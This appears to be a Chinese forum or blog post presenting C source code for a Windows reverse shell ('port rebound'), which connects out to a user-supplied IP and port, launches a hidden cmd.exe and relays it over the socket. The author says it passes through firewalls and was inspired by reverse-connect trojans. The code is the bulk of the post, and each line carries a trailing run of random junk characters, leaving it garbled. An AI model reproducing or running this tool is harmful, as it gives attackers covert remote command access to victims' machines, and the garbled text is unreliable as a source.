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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Spo +@G  
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/* ============================== q,@+^aZ  
Rebound port in Windows NT jsZY{s=  
By wind,2006/7 W_m!@T"@H  
===============================*/ -[$&s FD  
#include @d)LRw.I  
#include )&z4_l8`=  
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#pragma comment(lib,"wsock32.lib") k* Pz&8|  
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void OutputShell(); ~6sE an3p  
SOCKET sClient; ugxw!cj  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Qi:j)uDW  
G/(*foT8SE  
void main(int argc,char **argv) )E~_rDTl  
{ O9*p0%ug  
WSADATA stWsaData; nsl*Dm"*F  
int nRet; <I 1y  
SOCKADDR_IN stSaiClient,stSaiServer; 1|/'"9v  
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if(argc != 3) o&,Y<$!:VH  
{ -#%X3F7/w  
printf("Useage:\n\rRebound DestIP DestPort\n"); 4|F#gK5E  
return; u<kD}  
} @G(xaU'u  
A8!Ed$@  
WSAStartup(MAKEWORD(2,2),&stWsaData); r{Z[xWIX  
m>YWxa   
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I+~bCcgPi  
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stSaiClient.sin_family = AF_INET; ~<eVl l=  
stSaiClient.sin_port = htons(0); -ek1$y9)  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); y1u9 B;Fd  
`#U ]iwW!  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) B.6`cM^  
{ 97S? ;T  
printf("Bind Socket Failed!\n"); xKb"p4k9d  
return; M8zE3;5  
} yLB~P7K  
K%PxA #P}  
stSaiServer.sin_family = AF_INET; Uz $ @(C  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); EZ{/]gCK  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ENyAF%6  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0[i}rC9&  
{ hb<k]-'!  
printf("Connect Error!"); ]4GZ'&m}  
return; E\iJP^n  
} [ t$AavU.  
OutputShell(); wI>h%y-%!  
} yp?w3|`4;  
Oj-r;Tt_G}  
void OutputShell() f)U6p  
{ J[6VBM.Y  
char szBuff[1024]; Ph Ttx(!  
SECURITY_ATTRIBUTES stSecurityAttributes; 0+|>-b/%  
OSVERSIONINFO stOsversionInfo; IhwN],-V  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Ysl9f1>%  
STARTUPINFO stStartupInfo; 3t*#!^$  
char *szShell; }\VX^{K j  
PROCESS_INFORMATION stProcessInformation; Zd+>  
unsigned long lBytesRead; W6M jQ%f  
Rhv%6ekI  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); H@4/#V|Uy  
D!/0c]"  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =R2l3-HA=  
stSecurityAttributes.lpSecurityDescriptor = 0; ez+yP,.#  
stSecurityAttributes.bInheritHandle = TRUE; |e+aZ%g  
8J):\jAZ6  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); S QSA%B$<  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); T$ IUKR  
N"K\ick6J  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ",QPb3  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &8afl"_~  
stStartupInfo.wShowWindow = SW_HIDE; fRFYJFc n  
stStartupInfo.hStdInput = hReadPipe; e lay =%)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; CZ2iJy  
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GetVersionEx(&stOsversionInfo); ~Zu}M>-^c,  
l<Lz{)OR  
switch(stOsversionInfo.dwPlatformId) W}?s^  
{ 7g8B'ex J  
case 1: jQkUNPHu  
szShell = "command.com"; #.b^E3#+  
break; l:x _j\  
default: 7G2vYKC'  
szShell = "cmd.exe"; {n6\g]p3  
break; L*v93;|s  
} juXC?2c  
K]9tc)  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5/k)\`  
h>.9RX &  
send(sClient,szMsg,77,0); &62` Wr0C  
while(1) OK.-]()!  
{ 8>m1UONr  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {aT92-D3  
if(lBytesRead) M{G$Pk8[  
{ &`m~o/  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); C_C$5[~-:  
send(sClient,szBuff,lBytesRead,0); -;f+; M  
} ')rD?Z9 ^  
else }0vtc[!  
{ {;\%!I  
lBytesRead=recv(sClient,szBuff,1024,0); 5vYsA1Z  
if(lBytesRead<=0) break; FU'^n6[<B  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); jzQ9zy_  
} vrQFx~ZztH  
} G;Us-IRZ  
s!NisF  
return; .\)--+(  
}
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